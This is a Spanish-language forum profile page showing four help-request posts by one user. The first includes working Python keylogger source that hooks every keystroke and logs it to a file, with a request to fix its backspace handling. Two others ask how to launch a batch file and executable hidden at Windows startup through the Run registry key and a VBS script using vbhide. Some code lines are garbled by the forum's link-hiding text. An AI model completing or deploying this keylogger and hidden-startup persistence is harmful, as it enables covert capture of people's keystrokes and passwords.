Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Botters

#1
Dudas y pedidos generales / Keylogger
Febrero 12, 2019, 08:25:39 PM
Buenas noches, estoy estudiando un keylogger y he podido entender algunas cosas y modificar, pero tengo un problema y es que a veces me registraba todas las teclas pero le faltaban que si 2, y me di cuenta que era por el backspace, al tenerlo presionado borra todo el archivo, como podria ponerlo optimo? espero que me puedan ayudar

from functools import partial
import atexit
import os
import keyboard
MAP = {
    "space": " ",
    "\r": "\n"
}
# Ubicación y nombre del archivo que guarda las teclas presionadas.
FILE_NAME = "testando10.txt"
# Determina si el archivo de salida es limpiado cada vez que se
# inicia el programa.
CLEAR_ON_STARTUP = False
# Tecla para terminar el programa o None para no utilizar ninguna tecla.
TERMINATE_KEY = "esc"
def callback(output, is_down, event):
    if event.event_type in ("up", "down"):

        # Esta línea lee el caracter presionado
        key = MAP.get(event.name, No tienes permitido ver los links. Registrarse o Entrar a mi cuenta)
          if key in ["backspace"]:
                with open(FILE_NAME, 'rb+') as f:
                    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta(0,2)               
                    size=f.tell()               
                    f.truncate(size-1)   
        # Luego valido que dicho caracter no esté en la lista ["backspace","enter"]
        if key not in ["backspace","enter", "tab", "right shift", "caps lock", "shift", "right ctrl", "esc", "left windows", "right", "f1", "f2", "f3", "f4", "f5", "f6", "f7", "f8", "f9" ]:
          modifier = len(key) > 1

          # Capturar únicamente los modificadores cuando están siendo
          # presionados.
          if not modifier and event.event_type == "down":
              return
          # Evitar escribir múltiples veces la misma tecla si está
          # siendo presionada.
         
          if modifier:
              if event.event_type == "down":
                  if is_down.get(key, False):
                      return
                  else:
                      is_down[key] = True
              elif event.event_type == "up":
                  is_down[key] = False
              # Indicar si está siendo presionado.
              key = " [{} ({})] ".format(key, event.event_type)
          elif key == "\r":
              # Salto de línea.
              key = "\n"

          # Escribir la tecla al archivo de salida.
          output.write(key)
          # Forzar escritura.
          output.flush()
def onexit(output):
    output.close()
def main():
    # Borrar el archivo previo.
    if CLEAR_ON_STARTUP:
        os.remove(FILE_NAME)

    # Indica si una tecla está siendo presionada.
    is_down = {}

    # Archivo de salida.
    output = open(FILE_NAME, "a")

    # Cerrar el archivo al terminar el programa.
    atexit.register(onexit, output)

    # Instalar el registrador de teclas.
    keyboard.hook(partial(callback, output, is_down))
    keyboard.wait(TERMINATE_KEY)
if __name__ == "__main__":
    main()
#2
Dudas y pedidos generales / Problema con startup
Febrero 12, 2019, 02:43:04 AM
Buenas, tengo un problema con HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run, estoy ejecutando un batch automatico, el problema es que esta alojado en C:\Program Files (x86), al ejecutarlo no pasa nada, pero si cambio la ruta al escritorio, lo ejecuta perfectamente, creo que es por problemas de permisos, como puedo resolver este problema?
#3
Buenas, tengo un problema.

quiero ejecutar un script cada vez que se inicie el windows, asi que guarde un vbs en C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

set objshell = createobject("wscript.shell")
objshell.run "C:\1.bat",vbhide

el 1.bat contiene:
start 1.exe

el error que devuelve el vbs es que no encuentra el 1.exe, que esta en la misma carpeta del bat

habia intentado ejecutar el bat desde startup como administrador, pero aparecia la cmd y al cerrarla se paraba el script.
se que el error del vbs es porque no tiene permisos de administrador, intente unas cosas pero no logro hacer que funcione, mis pregunta es: como puedo ejecutar el vbs con permisos o como puedo ejecutar el bat desde startup sin el cmd?

espero que me puedan ayudar :D

#4
Dudas y pedidos generales / Información de opencv
Octubre 20, 2018, 05:06:33 AM
hola hermanos, tengo algunos días interesado en crear un código que registre si apareció una imagen en pantalla y quisiera hacerlo con opencv pero no he encontrado suficiente información y espero que alguno de ustedes me pueda compartir algun link en español, he buscado y siempre me enseñan es a cambiar la imagen a gris o los pdf son del 2008